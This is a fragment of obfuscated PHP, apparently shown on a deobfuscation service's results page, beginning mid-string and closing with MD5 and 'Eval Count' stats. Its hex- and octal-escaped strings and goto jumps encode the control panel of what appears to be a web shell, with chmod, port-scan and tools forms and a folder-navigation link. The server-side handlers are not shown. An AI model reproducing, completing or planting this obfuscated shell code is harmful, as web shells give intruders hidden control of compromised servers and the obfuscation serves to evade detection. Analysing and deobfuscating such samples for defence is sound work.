x69\144\x64\x65\x6e\42\x20\166\141\x6c\x75\145\75\42\x63\150\x6d\157\144\x22\x20\156\141\155\145\x3d\x22\x6d\157\x64\x65\x22\x20\x2f\76\12\x20\x20\40\x20\x20\x20\x20\x20\74\x69\156\160\165\164\40\156\x61\x6d\145\75\42\x66\x69\x6c\145\156\141\155\x65\42\x20\x74\171\160\x65\75\42\164\145\x78\164\42\x20\151\x64\75\x22\146\151\154\145\156\x61\155\x65\42\x20\166\141\x6c\x75\x65\75\42\146\x69\x6c\x65\42\x20\163\151\x7a\145\75\x22\61\x35\42\x20\x2f\x3e\12\40\40\x20\x20\40\x20\40\x20\x3c\151\156\160\165\164\x20\x6e\x61\155\x65\75\42\146\x69\x6c\145\x6d\x6f\144\145\x22\x20\164\x79\160\x65\75\x22\164\x65\x78\164\42\40\x69\x64\x3d\42\146\x69\154\145\x6d\157\144\x65\42\x20\x76\141\154\165\x65\75\x22\155\x6f\144\x65\42\x20\x73\151\172\x65\x3d\x22\x31\x35\x22\40\57\76\xa\40\40\40\40\x20\x20\40\x20\74\151\156\x70\x75\x74\40\164\x79\160\x65\75\42\163\165\x62\155\151\164\x22\40\166\x61\x6c\165\x65\x3d\42\x43\x68\155\x6f\144\x22\x20\57\x3e\xa\40\x20\40\x20\40\x20\74\57\144\151\166\x3e\12\x20\40\x20\40\74\57\146\x6f\162\155\x3e\40\40\74\57\x74\x64\x3e\xa\40\x20\x20\40\x20\40\74\164\144\x20\x73\164\x79\154\x65\x3d\42\x62\x6f\162\144\x65\x72\72\x23\106\x46\x46\x46\106\106\x20\61\160\170\x20\163\x6f\154\x69\x64\x3b\x22\x3e\74\146\157\162\155\40\155\145\x74\150\x6f\144\x3d\42\x70\x6f\163\164\x22\40\x61\x63\164\151\157\156\75\x22\x23\x22\76\12\40\x20\40\40\40\x20\74\144\151\x76\40\x61\x6c\151\147\156\75\x22\x63\145\156\164\145\x72\42\x3e\x3c\x73\x74\x72\x6f\x6e\147\76\72\x3a\40\120\x6f\162\164\40\123\x63\x61\x6e\40\x3a\72\x20\x20\74\x2f\x73\x74\162\157\x6e\147\76\x3c\x62\x72\76\xa\x20\x20\x20\40\40\x20\74\x69\156\160\165\x74\40\x74\171\160\x65\75\42\x68\x69\144\144\x65\x6e\x22\x20\x76\x61\x6c\165\145\x3d\42\163\143\141\156\42\40\x6e\x61\155\145\x3d\42\155\157\x64\145\42\x20\x2f\76\xa\x20\x20\40\x20\x20\40\40\x20\74\151\156\160\165\164\40\156\x61\155\145\75\x22\150\x6f\163\164\42\x20\164\171\160\145\75\x22\x74\x65\170\x74\x22\40\x69\x64\x3d\42\x68\x6f\163\x74\x22\x20\x76\x61\x6c\165\145\75\x22\x68\157\163\x74\x22\40\163\x69\x7a\x65\75\42\61\65\42\x20\x2f\x3e\12\40\40\x20\40\40\x20\40\x20\74\151\x6e\160\x75\164\x20\x6e\x61\155\145\75\x22\155\x69\156\160\157\x72\x74\42\40\x74\x79\160\145\75\x22\x74\145\170\164\42\x20\x76\x61\x6c\165\x65\75\x22\x6d\141\x78\40\160\x6f\x72\x74\42\40\163\151\172\x65\75\42\x31\60\42\x20\x2f\x3e\xa\x20\40\x20\40\40\40\x20\40\74\x69\x6e\x70\x75\x74\40\x6e\x61\x6d\145\75\42\x6d\x61\x78\160\157\x72\x74\42\x20\164\x79\x70\x65\x3d\42\x74\x65\x78\x74\x22\40\151\x64\x3d\x22\x6d\141\170\160\157\162\x74\42\x20\166\141\x6c\165\145\x3d\42\155\x61\x78\x20\x70\x6f\x72\164\x22\x20\163\x69\x7a\x65\x3d\x22\x31\60\x22\x20\57\76\12\x9\x9\x3c\151\x6e\160\x75\x74\40\x74\x79\x70\x65\x3d\x22\163\x75\x62\x6d\151\x74\42\x20\x76\141\x6c\165\x65\75\x22\x73\x63\141\156\42\40\x2f\76\12\x20\x20\40\x20\x20\x20\x3c\x2f\x64\151\166\x3e\12\x20\40\40\40\74\x2f\146\x6f\162\x6d\76\40\74\57\x74\x64\x3e\xa\40\x20\40\x20\x3c\x2f\164\x72\76\12\x3c\57\x74\x61\142\x6c\145\76\12\x9\x20\74\x66\157\x72\x6d\40\x61\143\164\151\x6f\156\x3d\43\40\156\x61\155\x65\75\164\157\x6f\154\163\40\155\x65\164\x68\157\144\x3d\x70\157\163\x74\76\xa\11\x20\40\x20\74\x73\x70\x61\x6e\x20\143\x6c\x61\163\x73\x3d\42\123\x74\151\x6c\x65\x31\42\x3e\12\40\40\40\x20\40\40\40\40\x3c\x69\156\160\x75\164\40\x74\171\160\145\x3d\150\151\x64\144\145\x6e\40\156\x61\x6d\145\75\155\x6f\x64\x65\x20\x76\141\154\165\x65\75\x74\157\157\154\163\40\57\76\x20\xa\x20\40\40\x20\40\x20\40\x20\x3c\151\x6e\x70\x75\x74\40\164\171\160\145\75\150\x69\x64\144\x65\156\40\156\x61\155\145\75\x6e\157\155\145\164\157\x6f\154\40\57\x3e\12\x20\40\x20\x20\x20\x20\40\40\74\x2f\163\x70\141\x6e\76\12\x20\40\x20\x20\40\x20\74\x2f\146\x6f\162\155\x3e\12\11\40\x3c\163\160\141\x6e\x20\x63\x6c\x61\x73\x73\75\42\123\x74\151\x6c\145\x31\x22\76\xa\11\40\x20\74\144\x69\166\40\141\154\x69\x67\156\x3d\42\143\145\156\x74\145\162\x22\76\x3c\x61\x20\x63\x6c\x61\163\163\75\42\154\151\156\x6b\42\40\x68\162\x65\146\75\42\x6a\141\166\x61\x73\x63\x72\151\160\164\72\144\157\143\165\155\x65\156\164\x2e\x66\157\154\x64\x65\162\x2e\x64\151\x72\56\x76\141\x6c\165\x65\75\x27"; goto tjB7g; tl28h: echo "\40\x20\x20\40\74\57\164\144\x3e\xa\x20\x20\74\x2f\x74\162\76\xa\74\57\164\141\142\x6c\x65\76\12\x3c\57\142\x6f\x64\x79\x3e\12\12\x3c\57\x68\x74\x6d\154\76\12\x3c\77\x20\144\x69\145\50\x29\73\x20\77\76";
Function Calls
None |
Stats
MD5 | cb16c33f3402dea102bf3844ab831935 |
Eval Count | 0 |
Decode Time | 215 ms |